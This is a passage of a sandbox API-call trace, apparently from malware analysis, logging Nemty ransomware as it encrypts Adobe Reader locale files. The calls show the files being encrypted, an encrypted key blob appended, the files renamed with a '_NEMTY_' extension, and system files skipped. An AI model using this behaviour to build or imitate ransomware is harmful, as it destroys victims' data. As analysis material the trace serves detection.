lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fc43930, dwHighDateTime=0x1d561e8)) [0181.395] GetLastError () returned 0x0 [0181.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.395] GetLastError () returned 0x0 [0181.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.395] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.395] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.395] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.395] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="C0lm0zknMePgDtbYdhEte7XzxiSUpqW6iFHlZsYE8bdXqBhnhVBzC84B7jvFhwOz\r\nk3QvLOFRVfpxK3xmrZVqY6O1uhh/iSblQOV2KZZ6IW0YUVoM8/ZvhDLCOjz3F149\r\n6dRQjmUTcl5xmu3qwUlsz1zA0bHKKRbZI9EtaZJMInQUEFLqzBT/Ug6ArMa7yqbB\r\n0koeZWrQmxGH3pE0klhPr8eFYfKzZ8/P6ppnaQSnG8fC9L1qKp0ZwUU22sJyiPTk\r\nfwivR7o/aQlix1ZscEhwTkUu6LucGPdiQc9+13ny/FStw0JbX0HdvC0lFnCYntdX\r\nG79B/8Z1AVFGjSzedpghkQ==\r\n", pcchString=0x653e5dc) returned 1 [0181.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.395] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Checkers.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\checkers.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.396] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=126976) returned 1 [0181.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0181.396] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.396] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0181.405] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.405] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0181.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.406] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=126976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f000 [0181.406] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.406] CloseHandle (hObject=0x2e8) returned 1 [0181.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.406] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Checkers.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\checkers.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Checkers.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\checkers.ptb._nemty_kgobjgd_")) returned 1 [0181.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.407] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.PTB", cAlternateFileName="")) returned 1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2=".") returned 1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="..") returned 1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="...") returned 1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="windows") returned -1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="rsa") returned -1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="NTDETECT.COM") returned -1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="ntldr") returned -1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="MSDOS.SYS") returned -1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="IO.SYS") returned -1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="boot.ini") returned 1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="boot.ini") returned 1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="ntuser.dat") returned -1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="desktop.ini") returned 1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="CONFIG.SYS") returned 1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="RECYCLER") returned -1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="BOOTSECT.BAK") returned 1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="bootmgr") returned 1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="programdata") returned -1 [0181.407] lstrcmpiW (lpString1="DigSig.PTB", lpString2="appdata") returned 1 [0181.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.PTB", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.PTB", lpUsedDefaultChar=0x0) returned 10 [0181.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.PTB", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.PTB", lpUsedDefaultChar=0x0) returned 10 [0181.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.PTB", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.PTB", lpUsedDefaultChar=0x0) returned 10 [0181.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0181.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.PTB", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.PTB", lpUsedDefaultChar=0x0) returned 10 [0181.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0181.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0181.408] Sleep (dwMilliseconds=0x5) [0181.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fc69a90, dwHighDateTime=0x1d561e8)) [0181.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fc69a90, dwHighDateTime=0x1d561e8)) [0181.410] GetLastError () returned 0x0 [0181.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.410] GetLastError () returned 0x0 [0181.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.410] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.410] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.411] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0181.411] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="UXwG3EdbrfzveeJjVAPrvlXbUvYLmXuWMTuUofKQ8xFfl/hnEh0cQBhJY9NgVrje\r\nChfoFPiRtM23PLX0rUh7+pLhEpZ75ey+3o3HzS9nvgBuc5M9G9Z9A+vG4WPvarAe\r\nyQIUh++0wZQ8LkKSdZ7hSg7PnbsWnitygoUlT0Q7g6PuPvf/3f1t93ppEgmWxMKB\r\nhIPs0gwKR+JyMeD14TfEZdUwnaPMeXHQntU1KkXticwd6IAphzOYnqZUe9yWqhwQ\r\nJgd4PEeK08yuadrGF840JiiEmNMJpOnqPNKdwB9I1Mn3pi+cV/WwKqhgR6AxLblE\r\nsVw32AuZSdBuMNf+ZBDrTg==\r\n", pcchString=0x653e5dc) returned 1 [0181.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0181.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\DigSig.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\digsig.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.412] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=131072) returned 1 [0181.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0181.412] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.412] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0181.421] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.421] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0181.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.421] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=131072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20000 [0181.421] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.421] CloseHandle (hObject=0x2e8) returned 1 [0181.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0181.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0181.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.422] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\DigSig.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\digsig.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\DigSig.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\digsig.ptb._nemty_kgobjgd_")) returned 1 [0181.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0181.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0181.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0181.422] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.PTB", cAlternateFileName="")) returned 1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2=".") returned 1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="..") returned 1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="...") returned 1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="windows") returned -1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="rsa") returned -1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="NTDETECT.COM") returned -1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="ntldr") returned -1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="MSDOS.SYS") returned -1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="IO.SYS") returned -1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="boot.ini") returned 1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="boot.ini") returned 1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="ntuser.dat") returned -1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="desktop.ini") returned 1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="CONFIG.SYS") returned 1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="RECYCLER") returned -1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="BOOTSECT.BAK") returned 1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="bootmgr") returned 1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="programdata") returned -1 [0181.423] lstrcmpiW (lpString1="DVA.PTB", lpString2="appdata") returned 1 [0181.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.PTB", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0181.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.PTB", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.PTB", lpUsedDefaultChar=0x0) returned 7 [0181.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.PTB", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0181.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.PTB", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.PTB", lpUsedDefaultChar=0x0) returned 7 [0181.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.PTB", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0181.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.PTB", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.PTB", lpUsedDefaultChar=0x0) returned 7 [0181.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.PTB", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0181.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.PTB", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.PTB", lpUsedDefaultChar=0x0) returned 7 [0181.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0181.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0181.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0181.424] Sleep (dwMilliseconds=0x5) [0181.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fc8fbf0, dwHighDateTime=0x1d561e8)) [0181.426] GetSystemTimeAsFileTime (in: 